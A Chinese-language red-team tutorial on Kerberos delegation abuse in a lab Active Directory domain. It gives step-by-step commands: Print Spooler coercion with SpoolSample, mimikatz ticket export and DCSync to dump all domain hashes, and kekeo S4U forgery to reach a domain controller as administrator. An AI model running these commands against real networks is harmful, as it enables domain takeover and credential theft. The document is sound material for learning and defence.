一、委派簡單介紹
關於委派分別有:非約束委派、約束委派、資源約束委派
域中如果出現 A 使用 Kerberos 身份驗證訪問域中的服務 B,而 B 再利用 A 的身份去請求域中的服務 C ,這個過程就可以理解為委派。
用戶需要訪問主機s2上的HTTP服務,而HTTP服務需要請求其他主機的SQLServer數據庫,但是S2並不知道用戶是否有權限訪問SQLServer,這時HTTP服務會利用用戶的身份去訪問SQLServer,如果User有權限訪問SQLServer服務才能訪問成功。
一、非約束委派+Spooler BUG利用
powershell -exec bypass Import-Module .\PowerView.ps1
查詢域中配置非約束委派的主機:Get-NetComuter -Unconstrained -Domain yiwang.com
利用條件,需要設置一台主機賬戶開啟了非約束委派域內機器的權限,實際可配合powerview腳本查找主機,域控主機需要為win2012 server r2 以上 版本,Print Spooler服務默認是自動運行的
Spooler利用原理:利用Windows打印系統遠程協議(MS-RPRN)中的一種舊的但是默認啟用的方法,在該方法中,域用戶可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法強制任何運行了Spooler服務的計算機以通過Kerberos或ntml對攻擊者選擇的目標進行身份驗證。
GitHub POC:https://github.com/leechristensen/SpoolSample //此處使用域用戶去執行,否則會導致程序崩潰需要將此域用戶添加入本地管理員組為mimikatz做准備
命令: SpoolSample.exe dc.redteam.com WEB-1.redteam.com
使用mimikatz導入票據
privilege::debug //提升權限
kerberos::purge //清除票據
sekurlsa::tickets /export //導出票據
kerberos::ptt [0;862bdd]-2-0-60a10000-DC$@krbtgt-REDTEAM.COM.kirbi //導入票據
lsadump::dcsync /domain:redteam.com /all /csv //通過dcsync獲取域內所有hash
二、約束委派
由於非約束委派的不安全性(配置了非約束委派的機器在 LSASS 中緩存了用戶的 TGT 票據可模擬用戶去訪問域中任意服務),Kerberos 協議進行拓展,引入了 S4U(S4U2Self / S4U2proxy), 運行服務代表用戶向 KDC 請求票據。
S4U2self:(Service for User to S4U2Self) 可以代表自身請求針對其自身的 Kerberos 服務票據(TGS);如果一個服務賬戶的 userAccountControl 標志為 TRUSTED_TO_AUTH_FOR_DELEGATION, 則其可以代表任何其他用戶獲取自身服務的 TGS/ST。
S4U2proxy:(Service for User to Proxy) 可以以用戶的名義請求其它服務的 TGS,限制了 S4U2proxy 擴展的范圍。
簡單來說被設置約束委派服務能夠通過S4U2Self向KDC為任意用戶請求訪問自身可轉發的服務票據,接着就可以通過S4U2proxy使用ST票據向kDC請求訪問B的票據,從而獲取B的權限。
在Windows系統中,普通用戶的屬性中沒有委派(Delegation)這個選項卡,只有服務賬號、主機賬號才有,也就是當前用戶賬戶下存在相對應的服務,比如mssql,http等等服務
所以首先需要把一個用戶設置為服務賬戶:setspn -U -A https/golden web
查找約束委派賬戶:AdFind.exe -h 192.168.237.9 -u web -up Password@123 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
已經知道服務用戶明文的條件下,用kekeo請求該用戶的TGT
tgt::ask /user:web /domain:redteam.com /password:user@123 /ticket:yuyonghu01.kirbi
使用這張TGT通過偽造s4u請求以Administrator用戶身份請求訪問dc CIFS
的ST
tgs::s4u /tgt:TGT_web@REDTEAM.COM_krbtgt~redteam.com@REDTEAM.COM.kirbi /user:administrator@redteam.com /service:cifs/dc.redteam.com
S4U2Self獲取到的ST1以及S4U2Proxy獲取到的dc CIFS服務的ST2會保存在當前目錄下
導入TGS服務票據,訪問對應的服務
kerberos::ptt TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi
二、約束委派利用分析
AS-REQ以WEB$服務身份向KDC請求TGT票據,是可轉發的kerberos.KDCOptions.forwardable=1
AS-REP KDC返回TGT票據
第三個TGS-REQ(s4u2self)包是用上一步得到的TGT票據,以administrator的身份向TGS申請了一張訪問自身服務(WEB$)的ST票據,叫他ST1以免和下面混淆,設置可以轉發。
第四個TGS-REP返回administrator的st1票據給WEB$機器
第五個TGS-REQ包(S4U2Proxy),WEB$得到ST1后,會additional-tickets 處帶上ST1再次向KDC發起S4U2Proxy請求,以administrator的身份請求一張訪問域控DC CIFS服務的票據.
第六個TGS-REP包,KDC返回的就是以 administrator 身份訪問域控DC的CIFS服務的ST票據,為ST2(TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi)
參考鏈接:
https://mp.weixin.qq.com/s/_wwTo7JcFV_lXaxhgMFJCQ
https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.html
https://xz.aliyun.com/t/7217#toc-0
https://3nd.xyz/2021/01/18/ad-kerberos-delegation-md.html